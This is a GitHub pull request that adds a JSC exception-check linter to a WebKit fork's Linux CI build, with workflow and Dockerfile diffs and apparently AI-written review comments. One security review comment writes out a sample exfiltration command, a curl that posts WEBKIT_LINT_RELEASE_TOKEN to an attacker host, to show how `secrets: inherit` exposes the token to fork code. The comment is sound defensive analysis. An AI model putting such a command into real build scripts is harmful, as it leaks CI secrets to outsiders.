Skip to content

Run wklint (JSC exception-check linter) during the Linux amd64 debug build #314

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
sosukesuzuki wants to merge 8 commits into
base: main
Choose a base branch
from
Open

Run wklint (JSC exception-check linter) during the Linux amd64 debug build #314

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
8 commits
Select commit Hold shift + click to select a range
42abe86
Run wklint (JSC exception-check linter) during the Linux amd64 debug …
sosukesuzuki Jul 21, 2026
ba78a44
Default wklint to the latest webkit-lint release
sosukesuzuki Jul 21, 2026
e65dc0b
Pass the webkit-lint release token into the reusable build workflow
sosukesuzuki Jul 21, 2026
9abd4f9
Run the linter only on the opt-in amd64 leg
sosukesuzuki Jul 21, 2026
a928c9f
Remove local editor/env files added by mistake
sosukesuzuki Jul 21, 2026
25a97b5
[DO NOT MERGE] wklint CI probe: intentionally unchecked toLength in A…
sosukesuzuki Jul 21, 2026
e6fc970
Revert "[DO NOT MERGE] wklint CI probe: intentionally unchecked toLen…
sosukesuzuki Jul 21, 2026
6dbb517
Address review feedback on the wklint integration
sosukesuzuki Jul 21, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .github/workflows/build-preview.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ jobs:
permissions:
contents: write
uses: ./.github/workflows/build-reusable.yml
secrets: inherit

@claude claude Bot Jul 21, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 nit: secrets: inherit here means a maintainer who dispatches this workflow with pr_number pointing at a fork PR now hands WEBKIT_LINT_RELEASE_TOKEN (and any future repo secret the reusable workflow references) to the fork's release.sh — the permission check is pull_request-only and build_ref is the fork's head SHA. The token is low-value and this path already ran fork code with a contents: write GITHUB_TOKEN, so it's incremental; but since wklint gating only really matters on main pushes, consider dropping secrets: inherit from this caller (keep it on build.yml only), or pass the single secret explicitly gated on head.repo.full_name == github.repository.

Extended reasoning...

What the concern is

Commit e65dc0b adds secrets: inherit to build-preview.yml's call into build-reusable.yml (fixing the earlier "secret not propagated" review comment). build-preview.yml also has a workflow_dispatch input pr_number whose stated purpose — per the permission-check error message on line 43, "Preview builds must be triggered manually via workflow_dispatch" — is to let a maintainer trigger a preview build for a PR that did not auto-trigger, i.e. a fork PR. That combination lets fork-controlled shell code read the forwarded secret.

Code path

  1. A maintainer runs Actions → Preview Build → Run workflow with pr_number: N for an external fork PR. workflow_dispatch runs in the base-repo context with full repository secrets (GitHub's fork-secret restriction applies only to pull_request-triggered runs, not to a dispatch that references a fork PR).
  2. trigger job: the "Check permissions" step is gated on if: github.event_name == 'pull_request' (line 32) and is skipped. The pr step calls pulls.get and sets sha = pr.head.sha — the fork's commit.
  3. build job: uses: ./.github/workflows/build-reusable.yml with secrets: inherit (new in this PR) and build_ref: <fork-sha>.
  4. Reusable workflow linux job (all 10 matrix legs): actions/checkout with ref: ${{ inputs.build_ref }} checks out the fork's tree — fork PR head commits are fetchable from the base repo via refs/pull/N/head, so this succeeds without cross-repo credentials.
  5. The "Run" step at build-reusable.yml:137 sets env: WEBKIT_LINT_RELEASE_TOKEN: ${{ secrets.WEBKIT_LINT_RELEASE_TOKEN }} unconditionally on every leg, then executes bash release.sh — the fork's script — with the token in its environment.

A fork PR that adds curl -d "$WEBKIT_LINT_RELEASE_TOKEN" https://attacker/ to release.sh exfiltrates the token as soon as a maintainer preview-builds it. Actions log masking hides the value in log output but does not prevent network exfiltration.

Why existing safeguards don't prevent it

  • The trigger-job permission check only runs for pull_request events; workflow_dispatch bypasses it entirely (and the dispatcher already has write — the untrusted party is the fork author).
  • Before this PR there was no secrets: block on this call, so secrets.WEBKIT_LINT_RELEASE_TOKEN evaluated to empty inside the reusable workflow and nothing was exposed. secrets: inherit is what makes it reachable.
  • secrets: inherit forwards all repository secrets, not just the one declared under on.workflow_call.secrets. Any future secret added to the repo and referenced in a step env: becomes reachable via the same path.

Step-by-step proof

  1. Fork opens PR IntlCollator: throw an OutOfMemoryError instead of crashing when a huge Latin-1 string needs the UTF-16 upconversion #500 whose release.sh adds one line: curl -sS -d "$WEBKIT_LINT_RELEASE_TOKEN" https://attacker.example/t || true.
  2. On the pull_request event, the permission check fails (fork author has no write) — no build, no exposure. This is why the dispatch path exists.
  3. Maintainer runs workflow_dispatch with pr_number: 500.
  4. github.event_name == 'workflow_dispatch' → permission check step's if: is false → skipped.
  5. pulls.get({pull_number: 500}) → sha = <fork-head-sha>; build_ref is set to it.
  6. build job runs with secrets: inherit → inside the reusable workflow, secrets.WEBKIT_LINT_RELEASE_TOKEN is the real token.
  7. On the bun-webkit-linux-amd64-debug leg (and every other linux leg), actions/checkout fetches <fork-head-sha>, then bash release.sh runs with WEBKIT_LINT_RELEASE_TOKEN=ghp_… in its env → the injected curl posts it.

Impact / why this is a nit

  • The specific token grants read-only access to oven-sh/webkit-lint releases (leaks a private linter binary) — small blast radius.
  • The exposure requires a maintainer to explicitly dispatch a build for an unreviewed fork PR, which is a weak form of approval.
  • Critically, the pre-existing workflow_dispatch-on-fork-PR path already checks out and runs fork-controlled release.sh under permissions: contents: write, i.e. with a write-capable GITHUB_TOKEN persisted by actions/checkout. So the underlying "fork code runs in a privileged context" architecture predates this PR; this change adds one low-privilege credential to that surface. The design concern worth flagging is that inherit is a broad grant that will silently extend to any future higher-value secret.

Suggested fix

Either of these keeps the wklint feature working while narrowing the grant:

  • Drop secrets: inherit from build-preview.yml and keep it only on build.yml. wklint gating matters on main pushes; on a preview build the linter simply skips (release.sh clears WKLINT_TAG when the token is empty). Simplest option.
  • Or replace inherit with an explicit mapping that passes the secret only for same-repo heads, e.g. compute same_repo in the trigger job from pr.head.repo.full_name and pass secrets: WEBKIT_LINT_RELEASE_TOKEN: ${{ needs.trigger.outputs.same_repo == 'true' && secrets.WEBKIT_LINT_RELEASE_TOKEN || '' }}.
  • Or in build-reusable.yml, gate the WEBKIT_LINT_RELEASE_TOKEN env on matrix.wklint == 'true' && !inputs.is_prerelease so preview builds never see it.

with:
build_ref: ${{ needs.trigger.outputs.sha }}
release_tag: ${{ needs.trigger.outputs.release_tag }}
Expand Down
59 changes: 59 additions & 0 deletions .github/workflows/build-reusable.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,14 @@
description: 'LLVM version to use'
type: string
default: '19'
wklint_tag:
description: 'oven-sh/webkit-lint release for the JSC exception-check linter: "latest", an "autobuild-<sha>" tag, or "off" (empty falls back to the WKLINT_TAG repo variable, then latest)'
type: string
default: ''
secrets:
WEBKIT_LINT_RELEASE_TOKEN:
description: 'Read access to oven-sh/webkit-lint releases (optional; the linter is skipped without it)'
required: false
Comment thread
coderabbitai[bot] marked this conversation as resolved.
outputs:
release_tag:
description: 'The release tag that was created'
Expand All @@ -40,6 +48,7 @@
package_json_arch: "x64"
CMAKE_BUILD_TYPE: "Debug"
RELEASE_FLAGS: "-O3 -DNDEBUG=1"
wklint: "true"
- lto_flag: ""
label: bun-webkit-linux-arm64-debug
os: linux-arm64-gh
Expand Down Expand Up @@ -124,6 +133,8 @@
env:
RELEASE_FLAGS: ${{matrix.RELEASE_FLAGS}}
ENABLE_SANITIZERS: ${{matrix.ENABLE_SANITIZERS}}
WKLINT_TAG: ${{ matrix.wklint == 'true' && (inputs.wklint_tag || vars.WKLINT_TAG || 'latest') != 'off' && (inputs.wklint_tag || vars.WKLINT_TAG || 'latest') || '' }}
WEBKIT_LINT_RELEASE_TOKEN: ${{ secrets.WEBKIT_LINT_RELEASE_TOKEN }}
Comment thread
claude[bot] marked this conversation as resolved.
run: |
rm -rf ${{runner.temp}}/bun-webkit ${{runner.temp}}/bun-webkit.tar.gz
if [ "${{matrix.package_json_arch}}" = "arm64" ]; then
Expand All @@ -137,12 +148,60 @@
echo '{ "name": "${{matrix.label}}", "version": "0.0.1-${{ inputs.build_ref }}", "os": ["linux"], "cpu": ["${{matrix.package_json_arch}}"], "repository": "https://github.com/${{github.repository}}" }' > bun-webkit/package.json
rm -rf bun-webkit/lib/*.so
rm -rf bun-webkit/lib/*.so.*
# wklint results live in the artifact output dir whenever the linter was
# invoked (the exit-code file is written even if the run failed early).
if [ -f bun-webkit/wklint-exit-code ]; then
cp bun-webkit/wklint-exit-code . 2>/dev/null || true
cp bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-log.txt . 2>/dev/null || true
rm -f bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-log.txt bun-webkit/wklint-exit-code
fi
tar -czf bun-webkit.tar.gz bun-webkit
rm -rf bun-webkit
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: ${{matrix.label}}
path: ${{runner.temp}}/bun-webkit.tar.gz
- name: Report wklint (JSC exception-check) findings
if: matrix.wklint == 'true'
working-directory: ${{runner.temp}}
run: |
if [ ! -f wklint-exit-code ]; then
echo "wklint did not run (WKLINT_TAG not set); skipping."
exit 0
fi
exit_code=$(cat wklint-exit-code)
echo "wklint exit code: $exit_code"
cat wklint-report.txt || true
if [ "$exit_code" != "0" ] && [ "$exit_code" != "1" ]; then
# Tool / infrastructure error (parse failures, crash): surface it without
# blocking the build during the soft launch.
echo "::warning title=wklint::wklint exited with $exit_code (tool error); see wklint-log.txt in the wklint-findings artifact"
tail -40 wklint-log.txt 2>/dev/null || true
exit 0
fi
if [ "$exit_code" = "1" ]; then
new=$(grep -c ' warning: ' wklint-report.txt || true)
{
echo "### wklint: $new new unchecked-exception finding(s)"
echo
echo "These are JSC exception-check patterns not covered by \`Tools/wklint/expectations.yaml\`."
echo "Fix them, or add an entry with a \`reason:\` if the finding is a known/latent case."
echo
echo '```'
head -60 wklint-report.txt
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
echo "::warning title=wklint::$new new unchecked-exception finding(s); see the job summary"
exit 1

@claude claude Bot Jul 21, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 nit: the linux job's strategy: has no fail-fast: false, so when this exit 1 fires on a wklint finding, Actions' default fail-fast cancels any in-progress sibling matrix legs — losing per-arch build signal for a lint-only failure that's orthogonal to whether those builds compile. windows-cross in this file already sets fail-fast: false (line 207) for the same reason; consider adding it under jobs.linux.strategy too. Purely a CI-ergonomics trade-off (release is blocked either way via needs: linux, and cancelling does save compute), so feel free to keep as-is if that's the intent.

Extended reasoning...

What this is

The linux job's strategy: block (lines 42–43) has only matrix:, so GitHub Actions' documented default of fail-fast: true applies. This PR adds a new failure mode to exactly one leg of that matrix: the "Report wklint" step does exit 1 (line 186) on the amd64-debug leg when wklint reports a finding not covered by Tools/wklint/expectations.yaml. Under fail-fast: true, that failure cancels every other in-progress linux matrix leg.

Step-by-step

  1. A push to main (or a preview build) introduces a new unchecked-exception pattern.
  2. The bun-webkit-linux-amd64-debug leg builds, uploads its artifact (line 158 — so its own tarball survives), then runs "Report wklint".
  3. [ "$exit_code" = "1" ] → exit 1 → the amd64-debug matrix leg is marked failed.
  4. Default fail-fast: true fires → GitHub cancels whichever of the other 9 linux legs (arm64/lto/asan/…) are still running.
  5. Cancelled legs never upload artifacts; the developer can't tell from this run whether e.g. their change also broke the arm64 or LTO compile.

Why nothing prevents it

Before this PR, a linux leg only failed on an actual build error, so fail-fast cancelling siblings was reasonable (a compile error usually affects every arch). This PR introduces a lint-only failure that is orthogonal to whether the other 9 builds compile. The windows-cross job in the same file explicitly sets fail-fast: false (line 207) with the comment "One variant's failure shouldn't cancel the others", showing this concern is already recognised in this workflow — the linux job just wasn't updated to match now that it too has a variant-specific failure mode.

Addressing the counter-arguments

This is a design trade-off, not a correctness defect, and there are reasonable arguments for the current behaviour:

  • "fail-fast saves compute" — true: since release has needs: linux, the run is dead either way once one leg fails, and cancelling siblings avoids finishing builds whose artifacts won't be published. The counter is signal loss: if a change introduces both a wklint finding and an unrelated arm64/LTO compile break, the developer only sees the lint failure, fixes it, pushes, waits another full cycle, and only then discovers the compile break. Whether that signal is worth the extra CI minutes is a judgement call.
  • "the fail-fast default is pre-existing" — the policy is pre-existing, but this PR is what introduces a leg-specific, lint-only failure into that policy. Previously every leg-failure was a compile error (correlated across archs); this one isn't.
  • "the amd64-debug leg may now be one of the slower legs" — plausible: this PR adds ~8–15 min of analysis to it, so LTO/ASAN siblings may often have already uploaded before exit 1 fires, in which case the cancellation is a no-op. That reduces the practical impact but doesn't eliminate it (siblings that queue behind runner availability, or slow LTO builds, can still be mid-flight).
  • "failing the job is intentional" — agreed; the PR description says findings "fail that job". This note is only about whether that failure should also cancel siblings, which the description doesn't address.

Impact

Minor CI-ergonomics only. Nothing ships incorrectly (the release job is blocked regardless via needs: linux). The concrete cost is an occasional extra fix-and-rerun round when a lint finding masks a real per-arch compile failure in the same push.

Fix

One line under jobs.linux.strategy:

    strategy:
      fail-fast: false
      matrix:

Or, if the compute saving is preferred, leave as-is — this is not blocking.

fi
Comment thread
claude[bot] marked this conversation as resolved.
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
if: matrix.wklint == 'true' && always()
with:
name: wklint-findings
path: |
${{runner.temp}}/wklint-findings.json
${{runner.temp}}/wklint-report.txt
if-no-files-found: ignore

Check warning on line 204 in .github/workflows/build-reusable.yml

View check run for this annotation

Claude / Claude Code Review

wklint-log.txt referenced by ::warning but omitted from wklint-findings artifact upload 

nit: 6dbb517 added `wklint-log.txt` to the `cp` (line 155) and the tool-error `::warning` at line 178 now says *"see wklint-log.txt in the wklint-findings artifact"* — but this `path:` list still only uploads `wklint-findings.json` and `wklint-report.txt`, so the file the warning points to is copied to `runner.temp` and then discarded at teardown. The status comment on 6dbb517 says the fix "keeps `wklint-log.txt` in the artifact", so this looks like the missed second half of that fix; add `${{ru
Comment on lines +200 to +204

@claude claude Bot Jul 21, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 nit: 6dbb517 added wklint-log.txt to the cp (line 155) and the tool-error ::warning at line 178 now says "see wklint-log.txt in the wklint-findings artifact" — but this path: list still only uploads wklint-findings.json and wklint-report.txt, so the file the warning points to is copied to runner.temp and then discarded at teardown. The status comment on 6dbb517 says the fix "keeps wklint-log.txt in the artifact", so this looks like the missed second half of that fix; add ${{runner.temp}}/wklint-log.txt here.

Extended reasoning...

What the gap is

Commit 6dbb517 addressed the earlier review comment about wklint-log.txt being captured-then-discarded by (a) adding it to the cp at line 155 and (b) adding a tool-error branch that emits ::warning title=wklint::wklint exited with $exit_code (tool error); see wklint-log.txt in the wklint-findings artifact at line 178. But the actions/upload-artifact step's path: list at lines 201–203 was not updated: it still contains only ${{runner.temp}}/wklint-findings.json and ${{runner.temp}}/wklint-report.txt. So the file the new warning message explicitly directs users to is never actually placed in the wklint-findings artifact.

Code path

The Dockerfile redirects wklint's stderr to /output/wklint-log.txt (2> /output/wklint-log.txt). After buildx --output type=local that becomes bun-webkit/wklint-log.txt. Line 155 now copies it to ${{runner.temp}}/wklint-log.txt alongside the other three outputs, and line 156 deletes the in-tarball copy. Line 179 does tail -40 wklint-log.txt into the step output, so the last 40 lines survive in the job log. But the upload-artifact step that follows (name: wklint-findings) omits it from path:, so when the runner is torn down the full file is gone.

Why the existing code doesn't cover it

The author's own status comment on 6dbb517 says the fix "keeps wklint-log.txt in the artifact", and the ::warning text hard-codes that promise — so this is the incomplete half of an intended fix, not a deliberate omission. Nothing else uploads the log: the only other artifact from this leg is bun-webkit.tar.gz, and line 156's rm -f removes wklint-log.txt from bun-webkit/ before the tar.

Step-by-step

  1. wklint-run.py crashes (bad expectations YAML, ImportError, segfault) → exit code ≠ 0/1, full Python traceback written to /output/wklint-log.txt.
  2. Line 153 gates on wklint-exit-code (present) → line 155 copies wklint-log.txt to runner.temp; line 156 removes it from bun-webkit/.
  3. Report step: exit_code is e.g. 2 → line 178 emits ::warning …; see wklint-log.txt in the wklint-findings artifact; line 179 prints the last 40 lines to the step log.
  4. Upload step: path: = wklint-findings.json + wklint-report.txt only → wklint-log.txt is not in the uploaded wklint-findings artifact.
  5. User follows the warning, downloads wklint-findings, finds no wklint-log.txt. If the traceback is longer than 40 lines, the top (module/line where it originated) is unrecoverable.

Impact / why this is a nit

Only the tool-error path (exit code ∉ {0,1}) references this file, and tail -40 of it is still echoed inline at line 179, so a truncated view survives in the job log. The happy path (exit 0) and findings path (exit 1) don't reference the log at all. Nothing breaks and no build result changes — the only effect is a dangling pointer in a diagnostic message and loss of the full stderr on wklint crashes.

Relationship to the earlier comment

The earlier inline comment on this block described the pre-6dbb517 state (log missing from both the cp and the artifact). 6dbb517 fixed the cp half and the author marked it addressed; this note is the residual half — the artifact path: list — plus the new dangling reference that 6dbb517 itself introduced in the ::warning text.

Fix

Add one line to the path: block:

          path: |
            ${{runner.temp}}/wklint-findings.json
            ${{runner.temp}}/wklint-report.txt
            ${{runner.temp}}/wklint-log.txt

if-no-files-found: ignore is already set, so this is safe when the linter didn't run.


windows-cross:
name: Windows (cross-compiled from Linux)
Expand Down
1 change: 1 addition & 0 deletions .github/workflows/build.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ jobs:
permissions:
contents: write
uses: ./.github/workflows/build-reusable.yml
secrets: inherit
with:
build_ref: ${{ github.sha }}
release_tag: autobuild-${{ github.sha }}
Expand Down
42 changes: 42 additions & 0 deletions Dockerfile
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,10 @@ ARG RELEASE_FLAGS="-O3 -DNDEBUG=1"
ARG LLVM_VERSION="21"
ARG DEFAULT_CFLAGS="-mno-omit-leaf-frame-pointer -g -fno-omit-frame-pointer -ffunction-sections -fdata-sections -faddrsig -fno-unwind-tables -fno-asynchronous-unwind-tables -DU_STATIC_IMPLEMENTATION=1 "
ARG ENABLE_SANITIZERS=""
# wklint (JSC exception-check linter) release from oven-sh/webkit-lint:
# "latest", a specific "autobuild-<sha>" tag, or "" (default: do not lint).
# The prebuilt is x86-64 only, so it also stays off on non-amd64 builds.
ARG WKLINT_TAG=""
ARG USE_MIMALLOC="OFF"
ARG USE_EXTERNAL_MIMALLOC="OFF"

Expand All @@ -25,6 +29,7 @@ ARG TARGETARCH
ARG ENABLE_SANITIZERS
ARG USE_MIMALLOC
ARG USE_EXTERNAL_MIMALLOC
ARG WKLINT_TAG

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive
Expand Down Expand Up @@ -109,6 +114,30 @@ RUN wget https://apt.llvm.org/llvm.sh \
&& rm llvm.sh \
&& rm -rf /var/lib/apt/lists/*

# wklint: JSC exception-check static analyzer (oven-sh/webkit-lint prebuilt).
# Fetched only when WKLINT_TAG is set; the token is a BuildKit secret because
# the release lives in an internal repository.
RUN --mount=type=secret,id=WEBKIT_LINT_RELEASE_TOKEN \
if [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]; then \
if [ ! -f /run/secrets/WEBKIT_LINT_RELEASE_TOKEN ]; then \
echo "wklint: WKLINT_TAG is set but the WEBKIT_LINT_RELEASE_TOKEN secret is missing; skipping the linter."; \
exit 0; \
fi; \
set -eu; \
token=$(cat /run/secrets/WEBKIT_LINT_RELEASE_TOKEN); \
Comment thread
claude[bot] marked this conversation as resolved.
if [ "$WKLINT_TAG" = "latest" ]; then \
api="https://api.github.com/repos/oven-sh/webkit-lint/releases/latest"; \
else \
api="https://api.github.com/repos/oven-sh/webkit-lint/releases/tags/${WKLINT_TAG}"; \
fi; \
asset_url=$(curl -fsSL -H "Authorization: token ${token}" "$api" \
| python3 -c 'import json,sys; print([a["url"] for a in json.load(sys.stdin)["assets"] if a["name"].endswith("-linux-x64.tar.zst")][0])'); \
curl -fsSL -H "Authorization: token ${token}" -H "Accept: application/octet-stream" \
-o /tmp/wklint.tar.zst "$asset_url"; \
mkdir -p /opt && tar -I zstd -xf /tmp/wklint.tar.zst -C /opt && rm /tmp/wklint.tar.zst; \
/opt/wklint-linux-x64/bin/wklint --version; \
fi
Comment on lines +120 to +139

@claude claude Bot Jul 21, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 nit: the set +e / captured-exit-code protection only wraps the analysis step (lines 323-335), not this fetch — so once the token is configured, a GitHub API 5xx/rate-limit, a bad WKLINT_TAG (→ curl -f exits 22), a release with no -linux-x64.tar.zst asset (→ python3 [...][0] IndexError), or a broken prebuilt (wklint --version non-zero) aborts this RUN under set -eu, which fails the docker build → fails the amd64-debug leg → blocks release via needs: linux. Since the analysis step is already gated on [ -x /opt/wklint-linux-x64/bin/wklint ], consider wrapping the fetch body so a failure degrades to skip-lint too, e.g. { ...fetch... ; } || { echo 'wklint fetch failed; skipping lint' >&2; rm -rf /opt/wklint-linux-x64; }. Distinct from the earlier missing-secret comment on Dockerfile:11 — that fix (guard on the secret file / clear the ARG default) doesn't cover the token-present/API-fails path.

Extended reasoning...

What this is

The wklint fetch RUN step enters set -eu (line 122) and then chains four operations that can each exit non-zero for reasons unrelated to the WebKit source being built:

  • curl -fsSL ... "$api" — -f makes curl exit 22 on any HTTP 4xx/5xx (GitHub API rate-limit, 5xx blip, or a mistyped/deleted WKLINT_TAG → 404).
  • | python3 -c '...[...][0]' — raises IndexError if the release has no asset ending in -linux-x64.tar.zst, or JSONDecodeError if stdin is empty.
  • The second curl -f for the asset download — same 4xx/5xx behaviour.
  • /opt/wklint-linux-x64/bin/wklint --version — non-zero if the prebuilt is broken or linked against a newer glibc.

Under set -e, the exit status of asset_url=$(...) is the command substitution's exit status, so any of these failures aborts the RUN. That fails the whole docker buildx build, which release.sh (set -euxo pipefail) propagates, which fails the bun-webkit-linux-amd64-debug matrix leg, which — via needs: linux in build-reusable.yml — blocks the release job.

Why the existing soft-fail doesn't cover it

The PR description says "A lint failure never fails the image build", and that guarantee is implemented — but only around the analysis step (Dockerfile:323-335), which does set +e; ... ; echo $? > /output/wklint-exit-code; set -e. The fetch step has no equivalent wrapper. The analysis step is also gated on [ -x /opt/wklint-linux-x64/bin/wklint ], so it already tolerates "binary absent" gracefully — the fetch step just never gives it the chance to exercise that path, because a fetch failure kills the build before the WebKit source is even compiled.

This is a different trigger from the two Dockerfile comments already on the PR:

  • The Dockerfile:11 / missing-secret comment covers the secret-absent case (cat /run/secrets/... → ENOENT). Its suggested fixes (default the ARG to "", or guard on [ -f /run/secrets/... ]) don't help when the secret is present but the API call or tag lookup fails.
  • CodeRabbit's checksum-verification comment is about supply-chain integrity, not failure handling.

Step-by-step proof

Assume the secret is configured and WKLINT_TAG resolves to autobuild-3cb03ec1a2b1, but that release was deleted from oven-sh/webkit-lint (or the tag has a typo):

  1. release.sh passes --build-arg WKLINT_TAG=autobuild-3cb03ec1a2b1 and --secret id=WEBKIT_LINT_RELEASE_TOKEN,env=... to buildx.
  2. Dockerfile:121 — [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ] → true; set -eu enabled.
  3. Line 127 — api="https://api.github.com/.../releases/tags/autobuild-3cb03ec1a2b1".
  4. Line 129 — curl -fsSL -H "Authorization: token ..." "$api" → GitHub returns 404 → curl -f exits 22.
  5. Under set -e, asset_url=$(... exit 22 ...) → the assignment's status is 22 → the RUN step fails.
  6. docker buildx build exits non-zero → release.sh (set -euxo pipefail) exits → the amd64-debug job fails → release (with needs: linux) is skipped.

The same trace applies to a transient GitHub API 502, or to a webkit-lint release published without the -linux-x64.tar.zst asset (in which case curl succeeds but python3 raises IndexError: list index out of range).

Impact and why it's a nit

This is a robustness/design observation rather than a correctness defect:

  • It only fires once WEBKIT_LINT_RELEASE_TOKEN and WKLINT_TAG are configured (the PR ships this as a no-op until then).
  • The failure is loud, early (before any WebKit compilation), and immediately diagnosable from the log.
  • Every other network fetch in this Dockerfile (apt.llvm.org, kitware, gcc-13 debs, zstd, Node, ICU) also hard-fails on network errors, so this follows the file's existing convention. The counter-argument is that those are required build tools whereas wklint is explicitly optional (gated on token, analysis gated on -x), so coupling every WebKit release to oven-sh/webkit-lint's availability is a new external dependency the author may not have intended.
  • "A lint failure never fails the image build" arguably refers to lint findings, not fetch infra — the author may prefer a loud failure over a silent skip. That's a reasonable trade-off; this comment just flags the inconsistency with the analysis step's design.

Fix

Wrap the fetch body so failure degrades to skip-lint (matching the analysis step's optionality):

if [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]; then \
    set -u; \
    { \
        token=$(cat /run/secrets/WEBKIT_LINT_RELEASE_TOKEN); \
        ... \
        /opt/wklint-linux-x64/bin/wklint --version; \
    } || { echo 'wklint fetch failed; skipping lint' >&2; rm -rf /opt/wklint-linux-x64; }; \
fi

(Removing the partial /opt/wklint-linux-x64 on failure keeps the later [ -x ... ] gate honest.) Alternatively, keep hard-fail if you'd rather a bad tag be caught immediately — in that case just ignore this.


# Configure library paths
RUN if [ "$TARGETARCH" = "arm64" ]; then \
export ARCH_PATH="aarch64-linux-gnu"; \
Expand Down Expand Up @@ -295,6 +324,19 @@ RUN --mount=type=tmpfs,target=/webkitbuild \
cd /webkitbuild && \
cmake --build /webkitbuild --config $WEBKIT_RELEASE_TYPE --target "jsc" && \
python3 /webkit/Tools/Scripts/check-classinfo-uniqueness.py $WEBKIT_OUT_DIR/bin/jsc && \
if [ -x /opt/wklint-linux-x64/bin/wklint ]; then \
set +e; \
python3 /opt/wklint-linux-x64/tools/wklint-run.py \
-p /webkitbuild --wklint /opt/wklint-linux-x64/bin/wklint \
--files 'JavaScriptCore/DerivedSources/unified-sources/UnifiedSource-.*\.cpp' \
--checks 'jsc-*' --source-root /webkit \
--workdir /webkitbuild/wklint-cache \
--expectations /webkit/Tools/wklint/expectations.yaml \
--json-out /output/wklint-findings.json \
> /output/wklint-report.txt 2> /output/wklint-log.txt; \
echo $? > /output/wklint-exit-code; \
set -e; \
fi && \
cp -r $WEBKIT_OUT_DIR/lib/*.a /output/lib && \
cp $WEBKIT_OUT_DIR/*.h /output/include && \
cp -r $WEBKIT_OUT_DIR/bin /output/bin && \
Expand Down
Loading
Loading